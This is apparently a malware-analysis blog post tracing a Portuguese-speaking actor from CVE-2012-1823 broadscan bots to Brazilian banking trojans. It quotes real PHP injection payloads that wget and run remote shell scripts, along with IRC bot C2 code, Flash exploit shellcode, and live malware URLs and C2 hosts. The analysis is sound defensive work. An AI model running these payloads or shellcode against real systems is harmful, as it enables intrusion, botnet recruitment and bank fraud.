The introduction of CVE-2012-1823 led the emergence of
numerous botnets and worms, perhaps of which ZollarD is most noted. However, with other botnets sticking with more traditional and
antiquated techniques, herders still face the trouble of compromised boxes
being remediated with no notice. This can be troublesome for a herder,
especially when they have deemed a compromised machine “trusted” and begin to
utilize it for core botnet responsibilities. When a Command and Control (C2)
server is taken offline, there are often bots which have been left straggling
behind, still executing the last instruction received. Let’s observe what
appears to be an instance of this.
The Host, Historically
Here we observe the initial request of this bot observed by the Honey Net. Most notably here is the Payload, <?php system("wget http://221.132.37.26/sh -O /tmp/shp;sh /tmp/shp;rm -rf /tmp/shp");
Although this payload is from February, we’re still able to
retrieve the file today. We then observe this host utilizing the same payload
until March 13th.
In fact, the Honey Net was able to catch a 15 minute Window
in which the payload location changed on the 13th.
<?php system("wget http://219.122.43.173/sh -O
/tmp/sh;sh /tmp/sh;rm -rf /tmp/sh");This payload has stayed consistent throughout current scannings, even though the host no longer responds. Although the scanning is still occurring to date with this payload, the Honey Net detected a peculiar change which was only observed for a single scan on May 21st.
<?php system("wget http://221.132.37.26/sh -O
/tmp/sh;sh /tmp/sh;rm -rf /tmp/sh");This time, the Honey Net was able to narrow the change window to roughly a 3 hour period. The usage of this payload appears short-lived, as the bot proceeds with the prior (2nd) payload within the following 7 hours. The bot has continued to scan with the 2nd payload since through the writing of this post, despite the resources disappearance. Thankfully I was curious at the time when I first observed this activity, and have a copy of the now missing file which is detailed below.
Payloads 1, and 3
<?php system("wget http://221.132.37.26/sh -O
/tmp/shp;sh /tmp/shp;rm -rf /tmp/shp");<?php system("wget http://221.132.37.26/sh -O
/tmp/sh;sh /tmp/sh;rm -rf /tmp/sh");You can see that payloads 1 and 3 utilize the same URI for propagation. The only difference is the name of the output file on the targeted machine. The original target file name change was observed with Payload 2/4.
Payload 2/4
<?php system("wget http://219.122.43.173/sh -O
/tmp/sh;sh /tmp/sh;rm -rf /tmp/sh");Other related Payloads
Payloads 1 through 4 were observed solely sourcing from the
Brazilian host. However, prior logs reveal a once thriving bot net utilizing the
same Vietnamese host as payloads 1 and 3.
The Japanese host utilized in the 2nd/4th
payload, however, was not utilized as much, with only another Brazilian host
utilizing the 2nd payload also on March 13th, within 40
minutes of the payload being switched on the noisier of the two.
221.132.37.26/sh
(SHA-256: 72e0d1235b2bb5720e60ffaf7866aca44e315382765ee12ff2b8ebc6526f1786)
The older of the two payloads is surprisingly still intact.
 |
The 'sh' sh script
|
The sh file is a
typical perl propagation script, which fetches three more resources (xx, ru,
and rr), and attempts to “clean up” any currently running instances of itself.
Most notably, the script attempts to kill miner processes, commonly utilized by
botnet cryptocoin mining campaigns.
VirusTotal suggests this is a known Tsunami IRC Bot. Knowing this, we should be able to find the server it connects to utilizing the
strings command.
 |
Strings from the xx Tsunami Bot
|
 |
The IRC channel from the xx Tsunami Bot
|
This Tsunami bot was configured to connect to an IRC server
running on the 163.180.171.113 host, and to join the #http channel of that
server. At the time of writing, this host appears to no longer be in service.
221.132.37.26/ru
(SHA256: 372a155d8422b2939eb4bda465651c2140c6f78db86275e4e55fc2c4078d7294)
 |
The ru bash script
|
The ru file appears to be a bash script to retrieve and run
the actual scanning tools. Although the bont.hu/ar/86.tgz and 64.tgz files are
no longer found, the ru bash script suggests that it contained at least three
files named pnscan, run, and php. The script also checks for the system
architecture, 32 vs 64 bit, and downloads the according archive. Below, we
find several files which are perhaps these missing files. Unfortunately, the rr
file was unable to be retrieved for analysis, and I do not possess a copy from
an earlier time, suggesting it most likely didn't exist when I first investigated
this.
219.122.43.173/sh
(SHA256: 72e0d1235b2bb5720e60ffaf7866aca44e315382765ee12ff2b8ebc6526f1786)
 |
The second 'sh' sh script
|
At first glance, this file appears to be the exact same as
the Vietnamese C2. The only difference, however, is the xx resource (Tsunami
bot) has been relocated to the new propagation host, while the ru and rr
scripts remain at the original propagation host. Oddly enough, the cron job to
keep the bot up to date also utilizes the host from the first payload, instead
of pointing to itself. The xx file from the new host is the identical to the xx
file from the first payload host, as is evident by the SHA256 sum. The fact
that only a single resource has changed location, and the persistence cron job
still utilizes the old host rather than the new one, raises more questions than
it answers. Especially since the xx file has remained the same between the two hosts. This type of spread means the botnet then needed to rely on the “integrity”
of two compromised hosts, instead of one, perhaps leading to the demise
of the botnet operations.
The Other Payloads
The other files retrieved by some payloads, namely inc and shh are still intact. While inc shares the same SHA256 sum as the sh file
(fb15b7de243e290c2bd83bca223360fd359e0b25b101e639233b696bc213f8a5), the shh (SHA256: 311a6919236e4104cdc8ac03e172001620f86fe3ebe4181e108b61911518075b) and sh file bare one difference.
 |
Different Tsunami Bot file names.
|
The shh file originally fetched the shd file, instead of
the xx file detailed above. The shd file is still intact, and bares the
same SHA256 as the xx file (6baa94ce5b23ea037953d0a7c7c5df41fdb7bc33dc9a66b41cf12727784abc2b),
marking another unusual change.
The 143.107.202.68
Host
Even for a broad scanning bot, the 143.107.202.68 host is
relatively noisy. It alone accounts for almost 7% of the events observed by the
Honey Net.
The 143.107.202.68 host behaves as an endpoint bot, and
should theoretically be susceptible to the vulnerability which it itself is
scanning for. The behavior of the bot attempts 5 unique resources within the
/cgi-bin/ directory of the webserver, for common names of a CGI linked PHP
binary, with the CVE-2012-1823 exploitation request string.
With this in mind, we can perform a replay of the requested
resources (without payloads) in attempt to verify its susceptibility to the
vulnerability.
Well, that’s unexpected. Either this attacker has “fortified”
the box, by removing, or otherwise disabling access to, the PHP binary from the
cgi-bin directory, assuming this box was originally compromised by the same broadscan.
Another possibility to consider is the box may have originally been compromised
through some other means, such as weak credentials. Out of curiosity, we then
replayed every requested URI (sans payloads) that our Honey Net has observed.
Only a single request returned a positive response.
The 1401369234.swf file has a SHA256 sum of a66496a2a6ccbcd5338260bd56fdba5e42daa7f4f5f02030a6d7f21dbd83142e,
and VirusTotal reports a total of 17 detections, most of which detect this as
exploiting CVE-2014-0515. We’ll come back to this in a section below. At this point, we have
no indication of the infection point. Though, we were able to determine that
someone has installed Metasploit on this machine.
The fact that
Metasploit isn't configured suggests that the attacker may not have had
interactive shell access with host, possibly reaffirming that this host was
infected by a Web Application attack. While not impossible, due to the
request-response nature of HTTP, basic web shells are often incapable of
opening an interactive session with a spawned process. Another possibility is the attacker shifted his focus of this asset, and no longer wanted to utilize the asset for outbound attacks. It could also simply be
the attacker didn't know, or care about the Web GUI portion of the Metasploit
installation.
The 221.132.37.26 Host
The Vietnamese host is
an interesting one. The host has a well-known web shell which is commonly
associated with CVE-2012-0874. The associated web shell is running as a limited
user, but the attacker has root access on the box, as is evident by their
dropped files ownership being root (uid0, gid0).
There are several
directories the attacker has stowed away within this host. The standard Apache
directory of /var/www/ seems to solely host files from the malicious actor. It’s
apparent someone has had access on this host as recently as July 31st,
when the files louise.tar.gz, and hide.c were introduced. The archives s.tgz and sc.tgz are identical, and hold several of the attackers’ tools. The files php.c and
php.c~ are most interesting here, which are altered versions of the
apache-magika PHP-CGI Argument Injection exploit, for CVE-2012-1823. The files
have slightly modified, so the payload is similar to those we encountered in
the original scannings, but with a different propagation host and file. The
archive also is nice enough to preserve the original username that created it, ‘sucesso’,
which is Portuguese for “success”.
s.tgz & sc.tgz
 |
Payloads from php.c and php.c~
|
The m.tar.gz contains
files which make up the mod_rootme Apache backdoor, though some of the files have been renamed, apparently to
impersonate a “mod_proxy_sftp” Apache module. Once again, the archive has saved the username
of the previous file owners, “Feliz” which is Portuguese for "happy".
 |
m.tar.gz
|
 |
Listing of the br.tgz archive
|
 |
Contents of the most recently used password file
|
The SSH Brute Force
Kit also contains two phone home scripts, meant to report back their findings.
 |
Phone Home to 8.225.187.100 with successful SSH logins
|
 |
Fetching of target hosts from 216.14.125.161
|
The openssh-3.6.1p2.tar.gz
file may seem innocuous at first, but its MD5 sum (a3280e13e009fef32bbbddb2bcd8e5fd)
is not known to Google at this time, while many sites report the MD5 sum of the
legitimate openssh-3.6.1p2.tar.gz file to be f3879270bffe479e1bd057aa36258696. To determine the discrepancies, we downloaded
the true openssh-3.6.1p2.tar.gz and extracted both the legitimate and suspect
archives. We can then utilize the `diff –rq` command on the two directories, and see
several files have discrepancies, including auth-pam.c, auth-passwd.c, includes.h,
and loginrec.c.
 |
Differences in legitimate OpenSSH 3.6.1p2 versus the backdoored version.
|
 |
auth-pam.c
|
 |
auth-passwd.c
|
 |
includes.h
|
 |
loginrec.c
|
The SSH Backdoor
archive also provides more insight into the preserved permissions and ownerships.
We can tell that the files were originally owned by a user named ‘blizzy’,
while interesting enough the modified files bare the root user. A Google search
for “Aion openssh-3.6.1p2 backdoor” reveals the original download, which is a
diff file used to patch the original source code. This provides us the insight
that the user blizzy originally downloaded the OpenSSH source code, but the
root user was the one to run the patch altering the files.
The files a, and c.html,
are malicious Javascript redirection scripts, which attempt to direct the user
to malicious flash player installers, but we’ll detail those later below with
the other exploit kit from above.
The l.tgz archive contains several files, predominantly ELF binaries, which all seem to have the goal of root privilege escalation. However, some files are meant for the fetching and execution of these binaries.
The last archive worth
mentioning from this directory is sklnx.tgz, which contains another backdoored
version of OpenSSH source code. The archive also tells us the
files were created by the user ‘saude’, and by filtering on the last accessed
dates for the files, we can find which files were altered. The setup file is a
bash script utilized to configure the backdoor, before the source is compiled
into the binary, and replaces the current system SSH binary with the backdoored
version. It contains the strings “skylnx 2.0 by ${LGRAY}bonny,${DGRAY}modified
by jones.\n”, and “SKYCOMMAND”. The file also contains many lines in
Portuguese. Another file which has been added to the source code is rmlinha,
which "linha" is Portuguese for "line". Another added file is libpcrypt.a.c, and
is C source code which sets the user id to 0, for root, and spawn an interactive
bash shell. We’ve been unable at this time to find where this project originated.
 |
Listing of the sklnx.tgz file, with a negative grep of the most common times
|
 |
The setup file
|
 |
libpcrypt.a.c
|
The .sysdbs file is a
compiled executable, and typically is a propagation script distributed as
source code in a bash file named “treat.sh” which first creates the C source
code file, compiles it into the binary utilizing gcc, and then deletes the
source code and bash scripts. Running the strings command on the file, we find
a few hosts which previously hosted the botnets propagation files.
Unfortunately, the blacknbluesky.strangled.net, gettingz.strangled.net, and redtapeworks.dyndns.info hosts no longer resolve today.
The .sysync.pl file is
a Perl IRC Bot Script which appears to be a stripped version of the typical
script which floats around fueling the JBoss botnets. For example, this version
has been configured to take several parameters from the command line versus the
traditional method of hard coding the parameters as variables. This script also
has hard coded the name of the bots herder, iseee, instead of holding the typical array of authorized administrators.
- localhost
- iscvadimswallows.dyndns.biz
- webstatzz.twilightparadox.com
- westatzo.dyndns-remote.com
- suyeifd.dyndns.info
- killbilll.twilightparadox.com
- myfivecents.dyndns-web.com
- its%ds.dyndns.info
- itsthe%dd.strangled.net
- eventuallydown.dyndns.biz
- localhosting.dyndns.info
We can see several
static, and two partly dynamic C2 domain names provided, all of which appear to
utilize free DNS services from Dyn and Afraid.org. As you may know, Dyn DNS stopped offering their free service on May 7th of this year. This may also have been a cause of the JBoss botnet's demise. There are also several errors in the script, such as where the
server is selected. There is a list of 11 servers, of which the first is ‘localhost’
(note, array index 0). The server for the bots connection is selected randomly
by the `$server = $sops[int(rand(12))];` line, which will attempt a random
index between 0 and 11. If the rand function rolls a 0, the bot will attempt to
connect to itself on port 8080, which is the already exploited JBoss service,
rather than an expected proxy. The rand function may also roll an 11, which as
the array only contains 11 indexes, would throw an index out of bounds error
the maximum accessible index would be 10.
Next, we see this script uses a lesser utilized proxy trick. Once the script has randomly selected its C2 host, we see it create a TCP Socket to the C2 which is then stored in the $sk variable. Then we see the following two lines printed to the socket.
Next, we see this script uses a lesser utilized proxy trick. Once the script has randomly selected its C2 host, we see it create a TCP Socket to the C2 which is then stored in the $sk variable. Then we see the following two lines printed to the socket.
print $sk "POST /index.php HTTP/1.1\r\nHost: $server:$port\r\nUser-Agent:
Mozilla/5.0\r\nContent-Length: 385256291721361\r\n\r\nfile1=MZ%90%0a%0d\r\n";
print $sk "NICK $nick\r\n";
print $sk "USER ".$user." 8 * : ".$user."\r\n"
Or, for a human
readable version of the data on the wire (substituting $ variables with their
runtime value).
POST /index.php HTTP/1.1
Host: $server:$port
User-Agent: Mozilla/5.0
Content-Length: 385256291721361
file1=MZ%90%0a%0d
NICK $nick
USER $user 8 * : $user
Here we see the bot
makes an HTTP POST request for /index.php against the selected domain, and
tells the server to
expect an incoming file with a length of
385,256,291,721,361 bytes, or 385 Terabytes of information. The bot then
proceeds to send its IRC communications to the C2 server as part of the HTTP file stream. This may serve several purposes, such as allowing the herder to
swiftly move IRC servers without losing all the bots of the net. As the domains
the script utilizes were free DNS accounts, they were less likely to be
remediated as the “owner” was the malicious actor. Meaning if an underlying IRC server host is
remediated, a simple DNS update is all it would require to redirect the herd to
the new C2. This could also be used as a rudimentary form of authentication, if
the hidden IRC server was configured to only accept connections from the
proxied hosts. This theory may be supported by the posted filename containing
the non-printable character, 0x90, with a new line and a return carriage character,
and is unlikely a legitimate file with such name would exist.
Lastly, a few files are found in a directory aptly named hack within the JBoss user accounts home folder. The files within this directory
largely pertain to the former JBoss Botnet activity. The fly.pl file is the
same as the above .sysync.pl file, except configured to join the #jb channel
instead of the #jbs channel. The lindb.pl file is the scanning script for the
JBoss botnet, which performs the actual scanning and infection. It’s apparent
this botnet attempts to create the iddqd.war file on the JBoss server, and allows
access to a command shell via the /iddqd/iddqd.jsp resource. This file
originally used the http://myiphone.dyndns-pics.com/a.tar.gz, and http://timelesspeople.dyndns.info/b.tar.gz as propagation URIs.
 |
Files found in the ~/hack directory
|
 |
lindb.pl
|
 |
Lines of interest from the 'b' Tsunami Bot
|
The regular.bot2 file is a shell script to downloads the a.c source
code file, and the a binary, into three directories, /tmp, /dev/shm, and
/run/shm. It also compiles the a.c file in each directory. The a file appears
to be the same Tsunami Bot as the b binary above, and the a.c file is the
source code for it.
 |
regular.bot2
|
 |
| a.c |
 |
| a.c |
The hack directory also contains an archive named b.tar,
which appears it may be the source of most of the files within the hack
directory. The archive has also stored the files owners’ name, and lists it as “spdr”,
possibly for “spider”, as this appears to be the main toolkit needed for the
botnet to expand.
CVE-2014-0515
Exploitation
As we detailed above, we were able to find an exploit which VirusTotal identified as CVE-2014-0515 located on the Brazilian host, which leads to remote code
execution. The attacker here has used a generic exploit where the shellcode to
be executed is provided by the HTML, giving us direct access to the end goal without needing to
reverse the exploit itself. While investigating the exploit, we were able to determine that Metasploit introduced a module for this on May 7th. While the a file matches the expected output of the original Metasploit module, Github tells us the module's output portion was modified on May 18th to add an HTML embed tag "<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=flash_payload%>" Play="true"/>". Since we were able to find a Metasploit installation on this host earlier, this detail likely allows us to pinpoint its installation somewhere between May 7th and 18th, assuming this file was generated by the Metasploit installation. Though when we view the response headers of the HTTP request, the server tells us the file was created on May 29th, perhaps meaning the attacker generated the payload weeks after the Metasploit installation. The response headers also tell us the files actual location is /a.html. |
| HTTP Response Headers for the /a resource. |
The shell code is represented by an array of 32 bit hex represented integers. To get the raw shell code, we simply need to concatenate the hexadecimal values into a string, which gives us the following:
18a164c083000081208b08fff830c489e8fcff60000000d231e58930528b648b0c528b728b14524ab70f2831ff3126613cacc0202c027c10dcfc152f0e2c710528b5713c428b78408bd04a74c0858b50d001588b1848e3d30120348b493c31d6018bacc031ff10dcfc175e038c7f87d03f475247d3b588b58e266d301248b4b0c8bd3011c5818b048b244489d0615b5b24ff515a595a5f58e086eb128b656e685d7768007489696e694c6854e6ff07267757ff31d55657575779563a68ebd5ffa7c9315b6036a5151506a515157685053ffc69f89594febd56852d2318460320051525252eb685052ff3b2e556ac689d580685b108900003350046ae068561f6a869e4675ff31d5ff5757575762d6856d5ff7b182375c08580840f4beb0000008de9d1ace800002fffffff67616d696c632f65652e6275eb0065785fc031666a026a5026a50026857026a4fdaf6da3193d5ff4b866c054c429038244c8d3b4c03168565150e2899612c085d5ff85582d746a1674c08d505400500c2444572d6853d5ff5baeeb04ec83c66853ceff52879657006ad56f8b316831d5ff87e8d0ffc0ffffff95646e7572652e3131e8006578ffffff092e77777761636978757169786f632e6572622e6d
We can then utilize the
online SandSprite.com tool, Shellcode 2 exe,
and turn the Shellcode into an executable that we can then run in a sandbox.
The resulting executable has a SHA256 sum of 097d7a3c43f5124aeceaef83741843d4dd8bbaa41f5687924a950fa06b849c60,
which VirusTotal identifies it as a Kazy Downloader Trojan. Though identified as a trojan downloader,
the file does not respond to sandboxing, perhaps suggesting the download is on
a sleep timer to avoid such analysis techniques, or the resulting executable is invalid. However, translating the shellcode from
it’s hexadecimal values to their correlative ASCII values shows reveals several
batches of strings of letters.
Some obvious patterns immediately jump out, and one has the
illusion of representing G-Mail. So before we go any further, let’s find past research regarding CVE-2014-0515, which was originally found being
exploited in the wild.
The Blog by Cisco seems to be most relevant here, and gives us insight
how to decipher the strings. The blog seems to suggest the URI is assembled by
taking the strings, splitting them into chunks of four, reversing the character
order of the chunks, and concatenating the chunks together to form the true
values. Let’s try this out with the strings from the text, “gamilc/ee.bu”, “ex”,
“dnure.ll”,”ex”, and “.wwwacixuqixoc.erb.m”.
The “gamilc/ee.bu” string splits into “gami”, “lc/e”, and “e.bu”,
and then each chunk reverses to “imag”, “e/cl”, “ub.e”. Which when concatenated
back together translates to “imaqe/club.e”, which then further concatenated
with the following “ex” string, reversed as “xe”, creates the string “image/club.exe”.
The “dnure.ll” string then translates to “rundll.e”, which
concatenated with the following “ex” string, also reversed as “xe”, creates the
string “rundll.exe”.
Finally, the “.wwwacixuqixoc.erb.m” string translates to “www.xicaxique.com.br”.
The assembled strings represent the URN, the output file, and
the URL respectively. This makes the assembled URI to download www.xicaxiqu.com.br/image/club.exe.
This file was still available during our investigation, and VirusTotal identifies it as various different downloader trojans. VirusTotal also tells us that the
file was most likely compiled on July 24th, indicating this campaign
is fairly recent. This executable seems to respond well to sandboxing, as an Anubis report from International Secure Systems Lab shows us the next stage of the infection.
The image102.jpg file, as the packet capture indicates, is
actually an executable file. VirusTotal identifies this file as various banking related trojans. VirusTotal also tells us this file was first analyzed on July 24th, the same day the previous
executable was allegedly compiled. This file also responds well to sandboxing,
and appears to make a phone home attempt to 86.124.95.159/test/notify.php.
While this seems like a dead end, we can still perform more
static analysis on the file in question. Running strings on the file reveals
several interesting details, from more Portuguese words, to hexadecimal encoded
strings detailing the targeted banks, and further utilized hosts. There’s also
embedded JPG’s with EXIF data intact, which reveals the images were created
between July 13, and then July 16th and 17th, on a
Windows machine using Adobe Photoshop CS4.
 |
EXIF data from embedded jpeg
|
 |
Strings from image102.jpg
|
 |
Reassembled ASCII strings from image102.jpg hexadecimal strings
|
The fotoswebmail.com.br/host.txt file currently contains one line, "200.98.161.130". The hex string which followed the host.txt link was the hexadecimal representation of the ascii string "7751". Suspecting this was a port number, we were able to verify the 200.98.161.130 host was listening on port 7751, though it discontinued service during our investigation. Although the 86.124.95.159 host is currently live, the test directory has since been removed, and the notify.php has subsequently been removed with it.
Next, we see the trojan
attempt to phone home information about the local host. It first fails at
creating the socket, and then proceeds to post two strings to the failed socket, “<|PRINCIPAL|>”,
and “<|Info|>HOME<|>Microsoft Windows XP<|>Intel (R) Xeon(R)
CPU E5645 @ 2.40GHz<|>fucker0202#@<<|”. Unfortunately, Malwr doesn't
currently detail what the socket attempted to bind to.
The Malicious Javascripts
On the Vietnamese host we
discovered two nearly identical malicious javascripts, one of which was located
in a file named a just like the above CVE-2014-0515 page. While the contents
of a and c.html appear similar at first, the key difference is the payload
which they fetch.
 |
c.html
|
Continuing with the pattern,
some of the hex encoded strings are in Portuguese. The files also utilizes 3
remotely hosted images, http://s13.postimg.org/5lisyr40j/logo_flash.jpg, http://s30.postimg.org/423bm21wt/29dv680.jpg,
and http://s17.postimg.org/fyi1yjsvv/2r6e7nb.jpg. While these images are not
malicious in themselves, they may offer further forensic insight. While two of
the files contain no EXIF data, the 2r6e7nb.jpg file tells us it was created on
October 16th, 2013, at 18:21:18 UTC, by Adobe Fireworks CS5, build
11.0.0.484 for Windows.
 |
2r6e7nb.jpg
|
As for the malicious files,
the a file points to a URI of https://wwws.pucpr.br/FlashPlayer.exe, which
while keeping with the Brazilian trend, unfortunately no longer resolves.
Sadly, Google is also unable to find any references to this URI.
Next, the c.html file
points to a URI of http://www.ude.oslo.no//feed2js/magpie/cache_utf8/flashplayer.exe,
which is still live, and has a SHA256 sum of 26489a69eeae5b2887c1579228c089954ffded13cc003e2c195aafbee06a090f.
A quick Google search for the hash shows that it was previously submitted to Malwr on May 7th,
and VirusTotal on June 3rd.
In addition, when submitting the file to Anubis, it reported that the file had
already been analyzed on April 17th.
Viewing the network activity these services observed yields some interesting
results. In each of these analyses, we see the trojan phone home to two separate
hosts, while neither instance attempts to contact the host seen in the opposite
analysis. In the April 17th Anubis analysis, we see the trojan fetched
the tamilcinemax.net/js/info/strings.txt URI, whereas for the May 7th
Malwr analysis the URI is dasan.sejong.ac.kr/~appmath/test/bbs/strings.txt.
The tamilcinemax.net file no longer exists, but the dasan.sejong.ac.kr site
does. From what each analyses observed, the strings.txt file retrieved was the
same in both instances.
 |
| Initial HTTP Request from Malwr.com analysis |
 |
| Initial HTTP Request from Anubis analysis |
While looking for
related research, we were able to find several more Malwr.com analyses, such as this one,
which involves one of the above URIs, and several more. One of these related sites
allows the directory listing, showing the names of other files placed there by
the actor. We are able to verify that some of these files also exist on the dasan.sejong.ac.kr
site. The files bvfg.ed, and upfile.hg appear of most interest. bvfg.ed is identified as an MS Compress archive, and upfile.hg is identified as a RAR
archive.
 |
www.2chemodana.com.ua/lib/lb/css/ directory listing
|
We can then utilize the
Windows ‘expand’ utility to inflate the file.
This leaves us with a file
which seems to be an archive itself. We can see several file names, and numbers
which follow them. The sum of all the numbers in the apparent header, combined
with the string length of the header is equal to that of the file size, seeming
to verify that the archive theory. We then wrote a quick PHP script to carve
out the files.
 |
Head of the bvfg.out archive
|
<?php// Simple Inflate, by Double Blind// Usage: php <scriptname> <archive> <delimiter>
$spl = explode($argv[2], file_get_contents($argv[1]), 2);
$files = array_map(function($item) { return explode(":", $item); },
explode(";", $spl[0]));
$i = 0;
foreach($files as $file) {
$name = "./out/" .
str_replace("\\", "/", $file[0]);
if(!file_exists(dirname($name)))
mkdir(dirname($name), 0660, true);
file_put_contents($name, substr($spl[1],
$i, $file[1]));
$i += $file[1];
}
Running the script resulted in the
following output files
- e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 ./out/config/notor
- 34478c4a490ac9e5cc4aab17247a3ca0732e962cc88ee5bc36acaad8c1f18a48 ./out/config/update.txt
- b7d2aee578b580a3955b06522367bb5248f03441e2fd49a64778541cd0025124 ./out/config/script.txt
- d81e1516c27048f8d6660050260d4db14695959fa3022ef7d2b856cf949e6974 ./out/config/strings.txt
- 6f083a9611b3912179ef2e0f99672624e4f33ca12fc3b73c74209b7ab2675725 ./out/sh1.exe
- cb1c6018fc5c15483ac5bb96e5c2e2e115bb0c0e1314837d77201bab37e8c03a ./out/scrypt.exe
- 96208559b386fb8ad058b6abdd14c86909aa3befc023abda509769a20436999b ./out/fmut.exe
- 252f10c83610ebca1a059c0bae8255eba2f95be4d1d7bcfa89d7248a82d9f111 ./out/sec/x.txt
- 0694adbf07f5f959bc9e06355ccf5fb0c4d84b1f5e81867ebb55661566bc1819 ./out/opo.exe
- 79b29a1377fa2da1c0deadde6a788f3a2c6e94e07b40ae28dafd199b95dd95e5 ./out/cuttree.exe
- af4e0f620b79d13d090c4d0f9bd77e888c949dc57244f677747bd8d046866e84 ./out/unrar.dll
As you can see from the VirusTotal links, most of the binaries are also detected as being related to other banking and dropper trojans. The text files found within the config directory are in the same format as the previously seen strings.txt.
The upfile.hg archive is a password protected RAR. We attempted many strings and keys found, but are unable to gain access to the archive at this time. However we suspect the key may exist somewhere within the configuration files retrieved from the bvfg.ed archive.
 |
| The password protected RAR archive upfile.hg |
In Conclusion
What started out as a simple broadscan investigation quickly evolved into much more serious crimes. We were able to find evidence of outbound broadscanning and brute force attacks, and exploits leading to Brazilian banking trojans disguised as Adobe Flash Player installers. Once the actor had deemed a compromised asset as trusted, they then utilized it to host a plethora of their tools and loot. Some files left behind simply contained past commands the actor has issued, retaining forensic information as they've moved from one compromised resource to the next, leaving a clear trail for us to follow. Following this trail of files and compromised hosts the attacker left behind also builds a distinct timeline of events, perhaps so large it warrants its own blog post. There were in fact so many resources found, we are simply unable to detail them all in this post.
While the attacker has utilized some newer exploits, such as CVE-2014-0515, they only did so once the exploit was publicly available. We can see a long history of broadscanning and SSH brute forcing activity, and then we begin to see the first evidence of the actors change in focus in the beginning of this year. The trojans utilized are all readily detected by the majority of Anti Virus products that VirusTotal utilizes. This all seems to suggest the actor is graduating to financial fraudulence from the original botnet activity.
There is a slew of forensic data preserved in various assets that the attacker has utilized. From usernames being stored in archives, to Exif data being preserved in images, and build paths for the trojans embedded in the binaries. All of these indicators combined suggest the actor is not only actively targeting Brazilian individuals in particular for financial fraudulence, but is also a speaker of Portuguese themselves, who operates out of a Portugese based Windows environment. All of this information combined paints a larger picture, and combining the results of our investigation with other public research shows this actor has been operating since at least 2012, as others noticed and detailed some of the same C2 URIs being utilized.
Moving forward, there are still resources to investigate, and may lead us to who the attacker is. The fact that some toolkits found are not publicly known, but clearly written for redistribution, suggests the suspect is part of an underground community. With the heuristics and other forensic data of the actor that we've observed, it may be possible to pinpoint a user of the underground community as this specific actor. We'll continue to monitor this threat actor as we encounter them, and as they evolve.
A Special Thanks
A special thanks goes out to my friends and colleagues who've helped me see this investigation through, and from different angles. Special acknowledgement to Npulse for all of his assistance throughout the investigation.
